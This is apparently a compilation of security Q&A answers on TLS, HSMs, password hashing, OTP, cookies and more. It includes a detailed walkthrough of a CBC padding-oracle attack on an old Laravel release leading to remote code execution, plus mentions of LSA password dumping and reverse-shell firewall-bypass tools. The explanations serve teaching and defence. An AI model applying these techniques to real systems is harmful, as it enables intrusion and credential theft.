SSL Labs is an awesome tool because it allows you to play with different configurations to get the balance of security and compatibility you need.  Based on my results, I suspect you can get by without RC4 (my server's increased DH requirements are relatively new to Apache, for example).  But this is really a case of YMMV.  You might want to use cipherli.st to guide you in trying out new configs.


Let's say I'm running a network of IOT devices and I want to enable trusted communications with them. If they're running with a standard certificate store, they'll trust any site with a certificate in their store. Alternatively, I could create my own PKI (Public Key Infrastructure), install only my certificate and these devices will only trust me. I can use this certificate to create encrypted sessions, monitor systems, deploy patches etc.

Another example is installing certificates on desktop endpoints and rejecting domain connections from systems without those certificates.

Another example would be installing certificates on payment terminals.

Consider also using client-side certificates to permit mutual authentication in client-server communications.

So, installing your own certificates can be a cheap way of creating a private trusted network.


How to initiate the learning process of modern day IT Security concepts mainly cryptography?

Practical Cryptography by Bruce Schneier is an interesting read if you're interested in how cryptography works and the evolution of protocols. It's not a programming reference, which may be good or bad depending on what you are looking to learn.


How can a web application protect users when the browser doesn't support HSTS?

You can't.

The best you can do is to use SSL sitewide.  Have all HTTP connections immediately redirect the user over to HTTPS (redirect over to the front page via HTTPS, e.g., http://www.example.com/anything.html should redirect to https://www.example.com/).  Don't serve any content over HTTP (other than an immediate redirect to your front page, over HTTPS).  Set the secure flag on all cookies (obviously).

This isn't going to stop a man-in-the-middle attack that downgrades the user to HTTP.  Without HSTS, you can't prevent that kind of attack.

You just can't do any better than that.  Oh well.  That's just how it goes with IE.

See also Options when defending against SSLstrip?.


Responding to a coordinated attack against financial transaction systems

This is one of the scenarios countries practice, with joined up activity between government, financial services, telcos, utilities etc.

These simulations happen reasonably frequently. Read up on Waking Shark 1 and 2 for some of the UK's simulations and for the information on it that has been made public.

It would not make sense to publish detail of mitigation or remediation strategies here, as a savvy attacker would then build them into their attack plan.


Company's right to insist on personal info

Given that the provider you're dealing with is Scottish Hydro, it's reasonable to assume you're in Scotland.  Scotland is covered by the Data Protection Act 1998 for which the principles are that data must be:-

  used fairly and lawfully
  used for limited, specifically stated purposes
  used in a way that is adequate, relevant and not excessive
  accurate
  kept for no longer than is absolutely necessary
  handled according to people’s data protection rights
  kept safe and secure
  not transferred outside the European Economic Area without adequate protection

As to if they're breaking the law or not it's arguable, while they are not taking action that will cost you money they are taking actions which may affect your policy (for example number of call-outs per year etc) or may be accessing a part of the system where they can view or update payment details so they'd want to be sure it was someone authorised to do so.

That said, there are security risks which their procedures open their customers up to (for example miscreants could contact a large number of people posing as Scottish Hydro and obtain personal information) so they certainly have plenty of room for improvement in their data handling procedures and that's definitely worth raising with someone at a high level (you should ask to speak to or for contact details of their nominated 'Data Controller' and you should get a named contact).

It is likely that the people you've spoken to are not properly aware of the law or their rights and obligations under it.  This is common among call centre staff to use data protection as an excuse even when you point out that they've made a huge privacy blunder.  They probably have a script which will not allow them to continue without the information even if they agreed the request was excessive use of your personal data.  They don't have the power to do anything about it, most of the time they are outsourced and don't directly work for the company you're paying anyway.

  If you think your data has been misused or that the organisation holding it hasn’t kept it secure, you should contact them and tell them.

  If you’re unhappy with their response or if you need any advice you should contact the Information Commissioner’s Office (ICO).

  ICO helpline
  Telephone: 0303 123 1113

  The ICO can investigate your claim and take action against anyone who’s misused personal data.

  source: gov.uk

And money talks as pointed out in the comment:- nothing forces you to keep doing business with them. – André Borie


How secure is SSL private key in AWS ELB service?

The risk of *.domains is common in situations where HSMs are not being leveraged. Any other solution is storing the private key on a hard disk which can be recovered through a multitude of means; even when the OS GUI indicates it is not possible. However, that's not how you have your system configured which is awesome.

HSMs are a oneway certificate management solution. You can generate keys within the HSM and you can ask for signing from HSMs but you cannot retrieve your key from the HSM. Even better, a physical attacker cannot even produce a credible threat against an HSM as they are designed to literally fry themselves if any physical tampering is attempted. I have known some that were designed to fry if the ground shook to hard.

As such, a *.domain key within an HSM is very secure. Your private key will always be protected and cannot be exposed. The only known attack against a private key would be if the HSM happens to be running a known impacted infeneon random generator chip. You could even test your pubic key here to determine if your private key is at risk:

https://keychest.net/roca#/

For what its worth, I highly doubt Amazon would keep any HSMs in rotation that were known to contain a vulnerability that totally defeats the HSM purpose. It would not be a good business model for the world's premier cloud solution.

In summation, because you are using an HSM to generate and store your key, your SSL key is safe. However, if you chose to generate your own key off of the HSM for any purpose, you may risk theft of your key and allow attackers to create an approved sub domain as you were initially warned.


My impression is that there is either a 302 setup at the domain level itself (possibly due to malicious intent), or as you mentioned an Apache (or nginx or whatever) redirect somehow setup on the web server itself. Whether this was intended or a result of malware I have no way of knowing with the given information. However, for an XSS attack, that usually requires the use of an external link with javascript written into the link itself. If you navigate directly to the website itself, XSS is most likely not the issue. As far as scanning for malware, you could use a remote scanner, but that will not provide as accurate results as scanning the filesystem itself, which I would imagine you don't have access to do.


Let's do it in several steps...

CBC encryption and IV

CBC encryption is a block cipher mode of operation, which is best explained with a drawing that I shamelessly plunder from the Wikipedia page, and reproduce here for ease of reading:

With CBC encryption, the block cipher is used to encrypt each block of data; however, to avoid leaking information about identical plaintext blocks (see the famous penguin picture as an illustration of why this is a problem in practice), CBC includes some "randomization" of data, by XORing each plaintext block, before encryption, with the previous encrypted block. Since the first block has no "previous encrypted block", a synthetic one must be provided; that is the IV. Decryption works in the obvious way, which is made explicit in this drawing:

Since the IV must be known to the decryption engine, it must be provided with the ciphertext. It must not be a fixed value because security of CBC relies on the IV being uniformly random, with a new one for each message.

In this case, the block cipher is Rijndael. Rijndael is the basis for AES. Specifically, when NIST called for candidate functions for their new standard (to be a successor to DES and 3DES), they wanted a block cipher working with blocks of 128 bits, and accepting keys of 128, 192 or 256 bits. The Rijndael submitters proposed more: the algorithm accepted the three key sizes, but also had variants for blocks of 128, 192 and 256 bits. Rijndael was chosen as AES (among a total of 15 candidates), with the NIST requirements, i.e. blocks of 128 bits only. AES is then a strict subset of the Rijndael family of algorithms.

The Laravel designers decided to use Rijndael as block cipher, with the largest block that Rijndael can support, i.e. 32 bytes (256 bits). Why they insisted on such large blocks is unclear, but that was probably on the assumption that "larger is better", which is scientifically unsubstantiated. For security, we need "large enough" blocks: the security of most modes begins to break down when we encrypt more than 2n/2 blocks of n bits (with a given key). With n = 128, this leaves room for about 300 millions of terabytes, which ought to be sufficient; larger blocks are unnecessary. In fact, one may even claim that Rijndael with 32-byte blocks is less secure than AES in the following sense: all the analysis performed by cryptographers over the last 15 years concentrated on the variants with 128-bit blocks (the AES proper), and the other sizes have been mostly neglected.

Note: since Laravel fixed their code, all I say here is about a past version of Laravel, from last year.

Padding

CBC can encrypt only some input message whose size is a multiple of the block size. To encrypt a sequence of bytes of arbitrary length, there must be some sort of padding: extra bytes added to reach a size that can be processed by the CBC encryption engine. However, such padding must be unambiguous enough so that the receiver knows where data stops and where padding begins. Sometimes it is sufficient to add some bytes of inconsequential value, if the inner message is self-terminated; however, in general, encryption engines aim at encrypting arbitrary sequences of bytes, whose end cannot necessarily be determined internally. The most common convention, which is used here, is called PKCS#7 padding:

At least 1, and at most b bytes are added, where b is the block size (in bytes).
When x bytes are added, all the bytes have value x.

The receiver, after decrypting, reads the last message byte, which contains x and thus unambiguously documents the actual padding length, allowing its removal. Some decryption engines (not all) will also check that all padding bytes have the same value x; others will just use the value of the last byte and ignore the rest.

There are variants. For instance, some protocols define that the value of the added bytes shall be x-1 if x bytes are added. Also, some protocols (e.g. SSL 3.0, as opposed to TLS 1.0 and later versions) explicitly state that only the last byte contains x, and the other bytes may have arbitrary contents.

Crucially, padding removal may fail. Indeed, the receiver expects the last byte to contain a value x which has a value between 1 and b; some receivers also expect all last x bytes to have value x. Here, the decryption engine applies the latter rule: it will complain if any of the last x bytes contains any value other than x. A padding oracle attack is an attack where the attacker can submit messages which are purportedly encrypted with a key K (that the attacker does not know), but really were crafted by the attacker; and the decryption engine leaks a single binary information: whether decryption yielded a correct padding or not. Typically, the receiver returns an error message, and not the same error message in two cases:

After CBC decryption, no well-formed padding was found.
After CBC decryption, well-formed padding was found, but after padding removal, the conveyed data turned out to be unreadable junk.

MAC

A Message Authentication Code is a cryptographic algorithm which aims at ensuring data integrity. It can be envisioned as a "checksum with a key". In general, when there are attackers, then there are active attackers, who can modify messages while in transit or try to send handcrafted malicious messages; hence, where encryption is required, a MAC is probably needed too.

There has been some considerable work on how encryption and a MAC shall be assembled together. Nowadays, we recommend using a mode which combines both in a single unit (e.g. GCM), but the old-style method was to glue together an encryption system (typically a block cipher in CBC mode) and a stand-alone MAC (traditionally HMAC). This glue-ing can be done in about three ways, called MAC-then-encrypt, MAC-and-encrypt, and encrypt-then-MAC. The last one is the right one; done properly, it prevents large classes of attacks, including, indeed, padding oracle attacks. See this question on the crypto.SE site for more discussion on this.

It turns out that the Laravel people used encrypt-then-MAC (that's good !) but botched it (that's bad !). In encrypt-then-MAC, the data is first encrypted, then the MAC is applied on the encrypted message. This prevents oracle padding attacks and, more generally, all "crafted message" attacks, because the MAC will be checked before decryption, thus ruthlessly killing out all such malicious messages without even letting them reach the decryption stage, let alone the padding removal stage. However, such a MAC works only if it is applied to everything that is used to decrypt, and that should include the IV.

The Laravel people forgot to include the IV in the MAC input. Their MAC (which is HMAC) is computed over the encrypted blocks only. The consequence is that the attacker can modify the IV at will, and the MAC won't see it. But modifying the IV gives a lot control over the first block of plaintext. Indeed, the decryption engine, upon receiving IV and the ciphertext blocks C1, C2,..., will computed the plaintext as:

P1 = IV xor DK(C1)
P2 = C1 xor DK(C2)
P3 = C2 xor DK(C3)
...

Since the MAC is computed over the Ci blocks, the attacker cannot modify them (this would invalidate the MAC), but he can choose the IV. If he knows the original plaintext block P1, then he can "alter" it to any other value by modifying the IV. In this case, this means that the first 32 bytes of the message can be chosen by the attacker. This is what is explained in the article from your first link. Since the Laravel cookie contents are, basically, the user ID, control over the first 32 bytes is more than enough to allow arbitrary user impersonation, which is already bad.

(Ironically, the use of overlarge 32-byte blocks actually gives more power to the attacker, so really using AES and its 16-byte blocks would have been better. However, the true weakness is the improper MAC application.)

More MAC mistakes

A second, and arguably more serious, issue in Laravel's code is that its MAC verification can essentially be disabled. This is explained in the article:

  Another problem with the MAC verification code is that the comparison is done with a non-strict operator: !=. This means that PHP will attempt type juggling prior to the actual equality check. The output of the hash_hmac() function is always a string, but if $payload['mac'] is an integer then the type coercion can make it relatively easy to forge a matching MAC. For example, if the true MAC starts with “0” or a non-numeric character then the integer zero will match, if it starts “1x” (where “x” is non-numeric) then the integer 1 will match, and so on.

var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true

  Since the MAC is from the result of a call to json_decode() an attacker can provide an integer. This makes it quite likely that an attacker is able to provide a ‘valid’ MAC for an arbitrary ciphertext.

So now we can assume that the attacker can modify the IV and all ciphertext blocks at will, without incurring the wrath of the MAC.

CBC-R

We now come to the juicy part. The context is the following:

There is a server, using Laravel, which has an internal secret key K that the attacker does not know.
The server uses cookies, which are encrypted with K.
When the server decrypts a cookie, it does so as explained above, and it acts as a padding oracle. Specifically, since the server uses PHP's unserialize() magic, it will respond on some alleged (but altered) cookie with one of these two conceptual messages:

There was no syntactically valid padding.
I found a proper padding, but then the decryption result was some junk of length xxx bytes.

The attacker can thus not only learn whether his message resulted in a proper padding, but also what was the exact padding length in that case.
If the server succeeds at decrypting a cookie, and found a valid padding, then the contents can actually trigger arbitrary code execution on the server. This is more unserialize() magic.

The attacker's goal is thus now to handcraft an encrypted cookie value which, when decrypted, contains a properly padded payload which runs nefarious code on the server. All of CBC-R is about exploiting the padding oracle into computing such encryption. Pay attention: this is the tricky part.

For one block:

Suppose that the attacker is given two block values T and V. These are two b-byte sequences. The attacker wants to compute a third block value U such that:

T = U xor DK(V)

Why would the attacker want to do that ? This is actually forging of an encrypted message with chosen contents. The equation above is the decryption core: if the attacker finds T, then the message consisting of IV U and encrypted block V decrypts to T. In that sense, the attacker tries to work out an encrypted version of message T.

Let's see how it works. The attacker will first send a one-block cookie to the server with some random IV and one encrypted block V; but he will force the last IV byte to have value 0x00. With high probability, the server will answer with the "bad padding" error. The attacker then tries again with the same IV, except for the last IV byte that he forces to 0x01. If that fails again, then he tries with 0x02, and so on.

Suppose that the last byte of DK(V) is 0x42. When the attacker tries a forged cookie such that the last byte of the IV is 0x43, the decryption engine will obtain a plaintext block ending with 0x42 xor 0x43, i.e. the value 0x01. Now that is a syntactically valid PKCS#7 padding. The error message from the server changes: it no longer is "bad padding" but "junk decrypted contents". The attacker sees that, and concludes that decryption found a valid padding, and thus infers that the last byte of DK(V) is 0x42.

Since we have 32-byte blocks, we number bytes from 0 to 31 within a block. The attacker has just learned that the byte 31 of DK(V) has value 0x42 (in that example). He now wishes to obtain byte 30. For that, he will send one-block cookies, still with encrypted block V; he will force byte 31 of the IV to 0x40, and set byte 30 of the IV to 0x00. Setting byte 31 of the IV to 0x40 means that, upon decryption, that 0x40 will be XORed with byte 31 of DK(V), that is known to have value 0x42. The result of that XOR will then be 0x02. The attacker then sends such one-byte cookies, setting IV byte 30 to 0x00, 0x01, 0x02... until the error message from the server switches again from "bad padding" to "junk decrypted contents". When will this happen ?

Suppose that byte 30 of DK(V) has value 0xC7. When the attacker tries one of his forged cookies such that the IV ends with 0xC5 0x40, the decryption engine will XOR that with DK(V), a value that ends with 0xC7 0x42. The XOR result will then end with 0x02 0x02, which again is a valid PKCS#7 padding (of length 2 bytes), resulting in the visible error message change. Now the attacker has obtained byte 30 of of DK(V).

Iterate. The attacker knows bytes 30 and 31 of DK(V), and tries IV values whose last two bytes are 0xC4 0x41, because these yield 0x03 0x03 upon decryption-and-XOR. The attacker cycles through the possible values for byte 29, until the 3-byte PKCS#7 padding (0x03 0x03 0x03) is reached. And so on...

That way, the attacker ends up with complete knowledge of DK(V). This requires an average of 128 requests per byte (there are 256 possible values for a byte, and the attacker will reach the right one after trying half of them on average), so 128*32 = 4096 requests for the complete block. This can take a few seconds or minutes, depending on the network speed, the processing power of the server, and the will of the attacker to remain as stealthy as possible.

When the attacker knows the complete DK(V), he just has to compute:

U = T xor DK(V)

which yields the sought after value for U.

For several blocks:

With the one-block attack described above, the attacker can now obtain an encrypted version of an arbitrary multi-block message.

Let's suppose that the attacker has a multi-block message P1, P2,... Pr. There are r blocks. That message is the payload with the PHP thingies which result into remote code execution, with proper padding already applied. The attacker wants to find C0, C1,... Cr such that a cookie consisting of:

the IV of value C0
the encrypted blocks C1 to Cr

will be decrypted by the server into P1, P2,... Pr.

The attacker proceeds right to left:

The attacker chooses a random value for Cr.
Given Cr and Pr, the attacker wants to find Cr-1 such that:

Pr = Cr-1 xor DK(Cr)

This is exactly the context of the one-block attack from the previous section, with T = Pr and V = Cr. Thus, the attacker runs the one-block attack and obtains Cr-1.
Given Cr-1 and Pr-1, the attacker wants to find Cr-2 such that:

Pr-1 = Cr-2 xor DK(Cr-1)

Again, this maps to the one-block attack, with T = Pr-1 and V = Cr-1. The one-block attack yields Cr-2.
The attacker iterates. He gets Cr-3, Cr-4, and so on, down to C0.
The attacker has his complete message, and sends it to the server, and hijacks it. Endgame.

Conclusion and notes

The core issue in the (old) Lavarel code is an improperly applied MAC. A MAC which:

is applied in the encrypt-then-MAC way;
without forgetting to also send the IV in the MAC input;
and is verified without possibility of cancelling it with some PHP type-juggling;

will effectively prevent any kind of padding oracle attack.

Lacking a good MAC, one may try to make sure that the decryption engine does not leak information about the padding. This is hard: if no padding is found, then the engine has to conjure some synthetic data so as to continue processing; but subsequent steps must not yield recognizable error messages when that "synthetic data" fails to decode. Moreover, demonstrations have been made (in lab conditions) of timing attacks in which the oracle consisted in the minute difference in processing time between the processing of a "good padding" vs a "bad padding". When the attacker is on the same LAN as the server, timing differences down to the microsecond can be measured.

The CBC-R reconstruction method works for any kind of CBC padding oracles, although there are variations depending on the exact species of padding (in particular whether the decryption engine checks that all x last bytes have the same value or not). This can be applied wherever CBC-based decryption occurs without protection of a MAC. In the case of the Laravel framework, this was for cookies, and the lack of MAC was due to both improper computations, and the creative featurism of PHP. The same kind of padding oracle attacks has been applied in other contexts; the original description, back in 2002 (by Serge Vaudenay), was on SSL records. Rizzo and Duong popularized it in 2010 by showing how it applied well on ASP.NET.

This incidentally illustrates that a Javascript demo with a Youtube video can be a powerful path to fame even when the original research was done by somebody else 8 years ago. I guess this means that we need both really smart researchers like Serge, and determinate implementers who go to the trouble of understanding the research, and then applying it to practical cases, working out the zillions of practical implementation details. Theory and experimentation are two sides of Science and both are required to make things change.


How can I objectively evaluate trust in a person? (Systems Admin, or other)

It would be similar to the challenge of hiring a janitor for a building, he would get to have all the keys, he can open any door, but the reason is because he needs them to do his job. Symmetrically one can think of this age old problem and look at ways trust is granted historically.

Although there's no clean-cut technical solution to this human problem, the fact that there's none shouldn't be a reason that we don't try any, an aggregation of imperfect solutions can give somewhat great results.

A model where trust is earned:

Give less permissions to begin with
Gradually increase permissions
Put a honeypot and monitor what happens in the coming days
If he reports it and doesn't use it for his advantage, that's a good start

Implement several levels of administrative powers:

Level 1: Can modify lower tier of configuration files
Level 2: Can modify slightly higher tier of configuration files
Level 3: Can modify slightly higher tier of configuration files and OS settings

Always create an environment where total access by one person is not possible:

Split systems in clusters
Give cluster admin powers to different groups
Minimum 2 groups

Use the Two-man rule when doing high-level core changes:

https://en.wikipedia.org/wiki/Two-man_rule
Require an admin from cluster1 and cluster2 for core changes

Trust and verify:

Log everything
Log monitoring and alerting
Ensure all actions are distinguishable

Paperwork:

Have them sign paperwork to have the legal system be able to help you by suing them if they hurt you gives more incentive not to do so


Cloud based private key storage for users

Your scheme is workable, but it completely defeats the point of an HSM. You can do that with a plain database storage, too.

The point of a HSM (which is actually not much more than a huge and very fast smartcard) is that you can securely store (private) key material without anybody, including the administrator, being able to extract it.


Does complexity of salt in password hashing matter?

The important part
The fact that you are generating salts on your own is a red flag. The best way to do this, especially if you have little experience with security, is to use an established library for password hashing.
A well-designed library will generate and use salts automatically for you, and it will store the salt and the hash in the same string, that you put in one column in your database.
So, use a slow algorithm designed for password hashing, and use an established library, and you won't have to think about how to generate the salt.
The answer
Still, I should answer your question. Does it matter if the salt has high entropy? There are two properties that we may want the salt to have here, that randomness helps with:

Unique, in your database, between password changes and preferably globally, so that an attacker can only crack one password at a time.
Unknown to the attacker (before a breach), so that an attacker targeting a specific account can not start any preparatory work before the database is leaked.

Using a counter as salt is a decent solution, but not perfect. The salt is at least locally unique, but it's not globally unique or even unique over multiple installations of the same software. It's not unknown to the attacker, but that really isn't such a big issue. Once the hash is leaked, the salt will be leaked too.
But still, using a library that gives you a random salt will be better. Don't mess around with homebrew solutions for something as important as this!


Tracking down rogue wireless device on network

Rass, yes I remembered 4 years ago my network guy reported the very same problem. The accounts department went and bought a Brother wireless printer & connected it via wifi. turns out it's MAC points to a Japanese NIC maker of Brother & Toshiba printers. Man check your bomboclate print fleet first.


Can the user get the private key from the encrypted and the decrypted data?

No, that would make no sense.
If a person could get the private key from encrypted data, that would be akin to locking something and leaving the key in the lock. Likewise, the decrypted message is the same - bit for bit - as the message before any encryption took place. Therefore, the message has no relation to the private key at all.
A few more details
There are several attacks on RSA that could allow an attacker to recover the private key, such as the low exponent attack. These attacks are mitigated by using proper parameters for RSA. This should be seen as "if RSA is used incorrectly, an attacker can calculate the private key". It is not a "feature" of the encryption algorithm, nor is it something that is easily done with some openssl command.


TOTP / HOTP - Offline 1 hour password generator

That is not a good idea for several reasons:

OTP has to be second factor! It can not be the only factor in authentication
30 seconds for TOTP is secure because during that time attacker can not test all the possible options + the first factor.

For 6 digits it is 1000000 combinations and after 30 seconds (>3000 combinations per second), the combination is different.
If you extend this time of validity to 1 hour, attacker have plenty of time to brute force this combination (~27 combinations per second)

For this use case, you should choose different way of distributing password

SMS
Password is enabled for that one hour by something on the server side( in that case you need to protect that password).


Benefits to client-side password hashing on top of other security mechanisms

Besides @Sefa already providing a great read, there is a benefit in the sense that if the server is malicious and doesn't salt+hash your password (or an admin intercepts the traffic) and you are foolish enough to use the same password on many sites, salting and hashing your password client side will prevent a malicious server from stealing your password on other sites.

Besides this scenario I cannot think of any use of client side hashing when combined with TLS and strong server side salted hashing on a trusted server.


The NIST guidelines say this:

  the verifier SHALL effectively limit online attackers to no more than 100 consecutive failed attempts on a single account.

100 attempts seem pretty high compared to your quoted five or six attempts.  However, apparently NIST still thinks it is adequate. There is a big difference between "at most 100 attempts" and "an infinite number of attempts". Unless your password is "123456" or "qwerty" or "password", it takes many thousands of tries to brute-force a password.

At the same time, it is pretty common for users to type in their password incorrectly a number of times.

So I think it is best to set the limit pretty high, but since this balances security against usability I don't think there is a "correct" answer here.


Is normal that a web site which use OpenID as SSO sends all the cookie without samesite header?

Usage of cookies in OAuth and OpenID Connect
There are two kind of cookies used in SSO context: Authorization Server (AS) cookies and Client cookies (the web service is called client in this context). I think you refere to the latter one.
In OAuth, cookies are traditionally used in combination with the state parameter to protect against CSRF, as written in the OAuth 2.0 RFC (which also explains the basic CSRF scenario):

The client MUST implement CSRF protection for its redirection URI.
This is typically accomplished by requiring any request sent to the
redirection URI endpoint to include a value that binds the request to
the user-agent's authenticated state (e.g., a hash of the session
cookie used to authenticate the user-agent).  The client SHOULD
utilize the "state" request parameter to deliver this value to the
authorization server when making an authorization request.

For OpenID Connect, the state parameter is used exactly the same way, as stated in the OpenID Connect Core Specification:

state: RECOMMENDED. Opaque value used to maintain state between the request and the callback. Typically, Cross-Site Request Forgery (CSRF, XSRF) mitigation is done by cryptographically binding the value of this parameter with a browser cookie.

Further, OpenID Connect also uses a nonce parameter, which can be also used in combination with a cookie, c.f. Section 15.5.2.:

The nonce parameter value needs to include per-session state [...] One method to achieve this for Web Server Clients is to store a cryptographically random value as an HttpOnly session cookie and use a cryptographic hash of the value as the nonce parameter. In that case, the nonce in the returned ID Token is compared to the hash of the session cookie to detect ID Token replay by third parties. A related method applicable to JavaScript Clients is to store the cryptographically random value in HTML5 local storage and use a cryptographic hash of this value.

So I would not agree with Conors first point and would resume that it is nothing special a service implementing OpenID Connect SSO uses cookies.
Function of SameSite Cookies
The SameSite Cookie is primarly protecting the cookie against CSRF. As Conor worte in his answer, this is a relatively new cookie option introduced in 2016. Recent changes in its specification (2020) changed the default value to SameSite=Lax, which delivers a decent protection against CSRF even if SameSite is not set explicitly.
Is a SameSite Cookie needed to secure OpenID Connect?
Clearly, it is possible to implement OpenID Connect with SameSite cookies. But the lack of a SameSite=Strict parameter does not mean that the site is vulnerable. There might be reasons to use only the SameSite=Lax protection. There are also secure ways to not use any cookies, e.g. PKCE is a secure (and recommended) alternative to the cookie usage scenarios named above.


How to categorise web vulnerabilities in a report?

This is highly opinionated and controversial, but I wanted to provide food-for-thought for you to make your own decision.

There's OWASP, CWE, and WASC. I don't like any of them.

Why shouldn't I use any of these categorization methods?

OWASP Top 10 attempts to provide a most common list at a high-level view of what has happened in the last two years. But when you are creating technical reports, attempting to map vulnerabilities to these high-level categories leaves a lot open for interpretation and a lot of room is left for things that don't fit.

Take these examples:

https://bounty.github.com/researchers/bburky.html
https://bounty.github.com/researchers/joernchen.html

"Mercurial remote code execution in Importer" - Missing Function-level Access Control? According to OWASP, that's not appropriate. https://bounty.github.com/classifications/missing-function-level-access-control.html even says it is for controlling access to sensitive data, not for preventing arbitrary code from running.

But there's more.

"Git LFS code execution" is put under "Other." "GitHub for Windows remote code execution" is under Injection.

What do these three have in common? They are code injection. But under these OWASP mappings, they are three different things. Does that make sense to a manager that has to review your report? Call it what it is - Remote Code Execution. How it came about, how to fix it, those are separate things from what the problem is, the problem is executing arbitrary code or commands.

Why should I use these categorization methods?

Mapping to some parent categorization can make reporting easier when providing how often the organization encounters XSS or other problems.

Final word of caution

The industry has some problems to fix, and I think this is a big one. 10 categories is not enough for mapping. 25 categories is getting better, but your organization may be more targeted for mobile applications with web API endpoints, for which categorizing as "Injection" doesn't work as well as categorizing as LDAP injection, or something else.

The choice is of course yours, but over the years, this is what I've learned.


use custom 'key' for hardware security keys

For a key from SoloKeys, you can't do it. All the private keys are generated inside.
Since it is open-sourced, if you modify the source and add your own software interface or even special hardware interface, it is quite doable. But be sure to keep the interface and internal supporting logic at a high security level.


Can Netsparker detect a CVE in an open source library packaged in a WebPack bundle?

There are a few of ways to do the check:

Parse the version information.
Hash the JS file and check it against a known list of software versions.
Build a database of pattern checks that identify software and its version.

Option 3 would detect old JS embedded inside a combined file.

I don't know which of these Netsparker actually uses, but you could ask them at the helpdesk.


Is Cross-Domain IP tracking a security feature?

It is unclear from your description if the authentication is done solely on the IP address or if the IP address is an additional security measure but I rather believe that it is used additionally.

If the IP is used as the only authentication it would be pretty weak although maybe sufficient depending on the kind of security actually needed for the service. If the IP address instead is used additionally to existing security measures than it actually increases security since it reduces the risk of session hijacking. Session information are in this case likely encoded in the redirect URL and kind of protected against misuse by encoding the clients IP address too.


All UTF-8 characters for generated passwords

To answer your two specific examples:

Most Western computer systems don't have fonts with complete coverage of CJK characters, and when they do, the appearance isn't always correct.  Having a password displayed to you as a series of boxes isn't particularly useful, and worse, some programs will replace those un-displayable characters with substitutes, mangling your password.
Arabic, in addition to the missing-coverage problem, has an additional problem that characters change their appearances depending on what characters they're written next to.  Not all programs implement this correctly.

In short, it's better to stick with characters that are known to work almost universally (the ASCII subset of Unicode) and make up for the lack of variety with an increased length.


Will ISP know the location of public comment on Facebook via query link?

Provided your connection is HTTPS, meaning it is encrypted, which Facebook is, it's very unlikely they can see the content of your data traffic. They do know what sites you are connecting to however. One of the most important things about this however, is that whatever data you give, is shared, sold, and copied. Facebook is one of the biggest faces in the data market. ISPs also tend to partake. It's not certain, but certainly not impossible, that the data could get back to them.


NVidia update service creates local account on system. Does anyone know the users password?

NVidia seem to have done a reasonable job of locking this down appropriately.

I ran cain and abel, and dumped the service accounts password from LSA, it is using a very random looking password comprised of > 15 characters, using upper and lower case alphanumeric and specials like _(!, etc.

Additionally, the account is added to the deny log on locally security policies, so they appear to have thought about security on this.  This is far better than having a service run under system with way more privileges.


How dangerous is it to trust an “Example Server Certificate”?

Is there a security vulnerability in my university’s Wi-Fi authentication system?

There are multiple problems:

It looks like they just assumed that the users will just accept any certificate. The correct way is to either use a certificate with a useful subject which was signed by an already trusted CA or teach users how to distinguish a valid certificate from a fake (like checking the fingerprint).
As @schroeder has already pointed out: this looks like the default certificate which might also be used in other installations and where the private key is probably known.

Because of this it will be easy for some attacker to create its own access point which looks the same and mount a man in the middle attack to sniff and modify any connections which are not encrypted (i.e. HTTPS is usually fine, plain HTTP is not).

Of course, it might also be that the university did everything correctly but that you are connected to an access point created by some attacker who hoped for gullible users.


Does the use of an on-screen keyboard give a false sense of security or protect against all types of keyloggers?

Yes, it is most often just a useless "security measure".

We need to define the threat model and then if an on screen keyboard provides a proper mitigation.

A OSK will protect against two threats:

A hardware keylogger
A software keylogger that is only looking at the keyboard state (does not attempt to defeat a OSK).

One should note the the difference however that not all on screen keyboard implementations are the same. For instance on Windows the OSK could be running at an higher User Interface Privilege Isolation (UIPI), or in Android where pretty much no implementation uses a hardware keyboard, such app needs a special permission.

What applications are implementing on screen keyboards? Websites.

That is, those that are forcing the usage of an on-screen-keyboard are doing so at their same privilege level, and as a result of the platform (the browser) they are running in, they can't actually do any better.

Now, on screen keyboards were useful back in the day, when banking trojans were stealing users and passwords through keyloggers. On screen keyboards on the web sites fixed that by having the user not to type their password with the keyboard. Then malware quickly adapted and started to also capture the screen, an image around the mouse, etc. overcoming the solution.

Banking trojans have been doing this for over a decade. Thus the security added by such keyboards has been nearly zero for years.

Given that the probability of the user having a hardware keylogger is negligible, they are only protecting from "amateur keyloggers".

At this point, you may be thinking that it may still be worth even for such tiny return. However, they have a number of drawbacks too:

Bad usability

Hard for people with low motor skills controlling the mouse (newbies)
Annoying for fast typists (experts)
Confusing for everybody when randomising the order

Accessibility concerns
Makes the password vulnerable to shoulder surfing
Doesn't allow entering the password with a pass manager
No muscle memory
Slower to enter
As it makes harder to "type" the password, it actually encourages using a weaker password

which in my humble opinion weight the decision clearly for not requiring an on screen keyboard.

Note that there's no problem with adding an optional OSK. And if your customers are likely to use an alphabet with characters outside the ASCII range, it may actually be appropriate to provide them an OSK so they can type them when using a foreign keyboard. But this is accessibility, not security (albeit it's indirectly supporting the use of special characters).


58939 is one of the 'ephemeral ports' these are used for specific connections between client and server so only 1 of the ports is limited (the destination) and not 2 (even besides the fact that 443 is below the 1024 Root only limit of ports)

your second question is one of not understanding your tools. fiddler can be operated as a proxy. so you can do this 'intercept' simply by configuring your proxy. (a.k.a. a classic case of not following the ancient wisdom of 'RTFM'


Standard Protocols or secure mechanism to authenticate users offline

I would use something more modern than PBKDF2 (unless required for compliance reasons), and would put an expiration on the local password hashes and local user data (refreshed every time the user successfully authenticates via the server). Also make sure that, if the user tries to log in using the server and fails (as might happen if the user was deleted/disabled or their password changed), their password hash (and any locally-cached data, as I assume you must have) is deleted so that they can't go offline and log in again.

The critical place this breaks down, of course, is if some user (or other app on the device) has root access, or at least enough privileges to poke into your app's local storage. Then they could change the password hashes (gaining the ability to log in offline as anybody), and read or modify the user data stored in the app (even if it was stored for a user whose actual password they don't know).
Thus, you should consider encrypting each user's local data cache with a key specific to the user (probably derived from their password, ideally using a different hashing process and/or salt than the one used to authenticate the user). Don't actually store the encryption key at all; force it to be re-derived each time. That way, user Alice can't access user Bob's data on the device, even if Alice has root access and can reset Bob's password hash.


Are there any alternative methods for reverse connections that bypass firewalls?

There are lots and lots of methods to connect one machine to another (that's what you are trying to do). What you need to know is what the firewall will allow. Map out the firewall and then you will know what to do. The technique is called "firewalking".


Setup of Kali Linux for reverse shell connections over the internet

You could configure pwnat but you need control of both sides to negotiate the UDP hole punch. Now I want some crazy MSF developer to add this functionality to Meterpreter. Similar techniques include tools like matahari (or, older, pbounce) and particular networks such as iodine (DNS) or onioncat (Tor nodes).

